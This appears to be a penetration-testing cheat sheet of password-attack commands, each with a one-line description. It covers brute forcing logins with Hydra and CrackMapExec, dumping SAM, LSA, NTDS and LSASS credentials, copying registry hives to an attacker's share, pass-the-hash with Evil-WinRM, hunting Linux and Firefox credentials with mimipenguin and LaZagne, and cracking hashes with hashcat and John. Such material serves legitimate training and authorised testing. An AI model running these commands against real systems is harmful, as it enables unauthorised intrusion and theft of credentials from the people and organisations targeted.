Passwords Attacks

Connecting to a target

CLI-based tool used to connect to a Windows target using the Remote Desktop Protocol.

xfreerdp /v:<ip> /u:<username> /p:<password>

Uses Evil-WinRM to establish a Powershell session with a target.

evil-winrm -i <ip> -u user -p password

Uses SSH to connect to a target using a specified user.

ssh user@<ip>

Uses smbclient to connect to an SMB share using a specified user.

smbclient -U user \\\\<ip>\\SHARENAME 

Uses smbserver.py to create a share on a linux-based attack host. Can be useful when needing to transfer files from a target to an attack host.

python3 smbserver.py -smb2support CompData /home/<nameofuser>/Documents/

Password Mutations

Uses cewl to generate a wordlist based on keywords present on a website.

cewl https://domain.com -d 4 -m 6 --lowercase -w wordlist

Uses Hashcat to generate a rule-based word list.

hashcat --force password.list -r custom.rule --stdout > mut_password.list

Users username-anarchy tool in conjunction with a pre-made list of first and last names to generate a list of potential username.

./username-anarchy -i /path/to/listoffirstandlastnames.txt 

Uses Linux-based commands curl, awk, grep and tee to download a list of file extensions to be used in searching for files that could contain passwords.

curl -s https://fileinfo.com/filetypes/compressed | html2text | awk '{print tolower($1)}' | grep "\." | tee -a compressed_ext.txt

Remote Passwords Attacks

Uses CrackMapExec over WinRM to attempt to brute force user names and passwords specified hosted on a target.

crackmapexec winrm <ip> -u user.list -p password.list

Uses CrackMapExec to enumerate smb shares on a target using a specified set of credentials.

crackmapexec smb <ip> -u "user" -p "password" --shares

Uses Hydra in conjunction with a user list and password list to attempt to crack a password over the specified service.

hydra -L user.list -P password.list <service>://<ip>

Uses Hydra in conjunction with a username and password list to attempt to crack a password over the specified service.

hydra -l username -P password.list <service>://<ip>

Uses Hydra in conjunction with a user list and password to attempt to crack a password over the specified service.

hydra -L user.list -p password <service>://<ip>

Uses Hydra in conjunction with a list of credentials to attempt to login to a target over the specified service. This can be used to attempt a credential stuffing attack.

hydra -C <user_pass.list> ssh://<IP>

Uses CrackMapExec in conjunction with admin credentials to dump password hashes stored in SAM, over the network.

crackmapexec smb <ip> --local-auth -u <username> -p <password> --sam

Uses CrackMapExec in conjunction with admin credentials to dump lsa secrets, over the network. It is possible to get clear- text credentials this way.

crackmapexec smb <ip> --local-auth -u <username> -p <password> --lsa

Uses CrackMapExec in conjunction with admin credentials to dump hashes from the ntds file over a network.

crackmapexec smb <ip> -u <username> -p <password> --ntds

Uses Evil-WinRM to establish a Powershell session with a Windows target using a user and password hash. This is one type of Pass-The-Hash attack.

evil-winrm -i <ip> -u Administrator -H "<passwordhash>"

Windows Local Password Attacks

A command- line-based utility in Windows used to list running processes.

tasklist /svc 

Uses Windows command-line based utility findstr to search for the string "password" in many different file type.

findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git
*.ps1 *.yml 

Uses Windows command-line based utility findstr to search for the string "password" in many different file type.

findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git
*.ps1 *.yml 

A Powershell cmdlet is used to display process information. Using this with the LSASS process can be helpful when attempting to dump LSASS process memory from the command line.

Get-Process lsass

Uses rundll32 in Windows to create a LSASS memory dump file. This file can then be transferred to an attack box to extract credentials.

rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672
C:\lsass.dmp full

Uses Pypykatz to parse and attempt to extract credentials & password hashes from an LSASS process memory dump file.

pypykatz lsa minidump /path/to/lsassdumpfile

Uses reg.exe in Windows to save a copy of a registry hive at a specified location on the file system. It can be used to make copies of any registry hive (i.e., hklm\sam, hklm\security, hklm\system).

reg.exe save hklm\sam C:\sam.save

Uses move in Windows to transfer a file to a specified file share over the network.

move sam.save \\<ip>\NameofFileShare

Uses Secretsdump.py to dump password hashes from the SAM database.

python3 secretsdump.py -sam sam.save -security security.save -
system system.save LOCAL

Uses Windows command line based tool vssadmin to create a volume shadow copy for C:. This can be used to make a copy of NTDS.dit safely.

vssadmin CREATE SHADOW /For=C:

Uses Windows command line based tool copy to create a copy of NTDS.dit for a volume shadow copy of C:.

cmd.exe /c copy \\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit
c:\NTDS\NTDS.dit// Some code

Linux Local Password Attacks

Script that can be used to find .conf, .config and .cnf files on a Linux system.

for l in $(echo ".conf .config .cnf");do echo -e
"\nFile extension: " $l; find / -name *$l
2>/dev/null | grep -v "lib|fonts|share|core" ;done

Script that can be used to find credentials in specified file types.

for i in $(find / -name *.cnf 2>/dev/null | grep -v
"doc|lib");do echo -e "\nFile: " $i; grep
"user|password|pass" $i 2>/dev/null | grep -v
"\#";done

Script that can be used to find common database files.

for l in $(echo ".sql .db .*db .db*");do echo -e
"\nDB File extension: " $l; find / -name *$l
2>/dev/null | grep -v
"doc|lib|headers|share|man";done

Uses Linux-based find command to search for text files.

find /home/* -type f -name "*.txt" -o ! -name "*.*"

Script that can be used to search for common file types used with scripts.

for l in $(echo ".py .pyc .pl .go .jar .c .sh");do
echo -e "\nFile extension: " $l; find / -name *$l
2>/dev/null | grep -v "doc|lib|headers|share";done

Script used to look for common types of documents.

for ext in $(echo ".xls .xls* .xltx .csv .od* .doc
.doc* .pdf .pot .pot* .pp*");do echo -e "\nFile
extension: " $ext; find / -name *$ext 2>/dev/null |
grep -v "lib|fonts|share|core" ;done

Uses Linux-based cat command to view the contents of crontab in search for credentials.

cat /etc/crontab 

Uses Linux-based ls -la command to list all files that start with cron contained in the etc directory.

ls -la /etc/cron.*/

Uses Linux-based command grep to search the file system for key terms PRIVATE KEY to discover SSH keys.

grep -rnw "PRIVATE KEY" /* 2>/dev/null | grep ":1"

Uses Linux-based grep command to search for the keywords PRIVATE KEY within files contained in a user's home directory.

grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"

Uses Linux-based grep command to search for keywords ssh-rsa within files contained in a user's home directory.

grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"

Uses Linux-based tail command to search the through bash history files and output the last 5 lines.

tail -n5 /home/*/.bash*

Runs Mimipenguin.py using python3.

python3 mimipenguin.py 

Runs Mimipenguin.sh using bash.

bash mimipenguin.sh 

Runs Lazagne.py with all modules using python2.7

python2.7 lazagne.py all 

Uses Linux-based command to search for credentials stored by Firefox then searches for the keyword default using grep.

ls -l .mozilla/firefox/ | grep default

Uses Linux-based command cat to search for credentials stored by Firefox in JSON.

cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq . 

Runs Firefox_decrypt.py to decrypt any encrypted credentials stored by Firefox. Program will run using python3.9.

python3.9 firefox_decrypt.py 

Runs Lazagne.py browsers module using Python 3.

python3 lazagne.py browsers

Cracking Passwords

Uses Hashcat to crack NTLM hashes using a specified wordlist.

hashcat -m 1000 dumpedhashes.txt /usr/share/wordlists/rockyou.txt

Uses Hashcat to attempt to crack a single NTLM hash and display the results in the terminal output.

hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b /usr/share/wordlists/rockyou.txt --show

Uses unshadow to combine data from passwd.bak and shadow.bk into one single file to prepare for cracking.

unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes

Uses Hashcat in conjunction with a wordlist to crack the unshadowed hashes and outputs the cracked hashes to a file called unshadowed.cracked.

hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked

Uses Hashcat in conjunction with a word list to crack the md5 hashes in the md5-hashes.list file.

hashcat -m 500 -a 0 md5-hashes.list rockyou.txt

Uses Hashcat to crack the extracted BitLocker hashes using a wordlist and outputs the cracked hashes into a file called backup.cracked.

hashcat -m 22100 backup.hash /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt -obackup.cracked

Runs Ssh2john.pl script to generate hashes for the SSH keys in the SSH.private file, then redirects the hashes to a file called ssh.hash.

ssh2john.pl SSH.private > ssh.hash 

Uses John to attempt to crack the hashes in the ssh.hash file, then outputs the results in the terminal.

john ssh.hash --show 

Runs Office2john.py against a protected .docx file and converts it to a hash stored in a file called protected-docx.hash.

office2john.py Protected.docx > protected-docx.hash

Uses John in conjunction with the wordlist rockyou.txt to crack the hash protected- docx.hash.

john --wordlist=rockyou.txt protected-docx.hash 

Runs Pdf2john.pl script to convert a pdf file to a pdf has to be cracked.

pdf2john.pl PDF.pdf > pdf.hash

Runs John in conjunction with a wordlist to crack a pdf hash.

john --wordlist=rockyou.txt pdf.hash

Runs Zip2john against a zip file to generate a hash, then adds that hash to a file called zip.hash.

zip2john ZIP.zip > zip.hash

Uses John in conjunction with a wordlist to crack the hashes contained in zip.hash.

john --wordlist=rockyou.txt zip.hash

Uses Bitlocker2john script to extract hashes from a VHD file and directs the output to a file called backup.hashes.

bitlocker2john -i Backup.vhd > backup.hashes 

Uses the Linux-based file tool to gather file format information.

file GZIP.gzip

Script that runs a for-loop to extract files from an archive.

for i in $(cat rockyou.txt);do openssl
enc -aes-256-cbc -d -in GZIP.gzip -k
$i 2>/dev/null | tar xz;done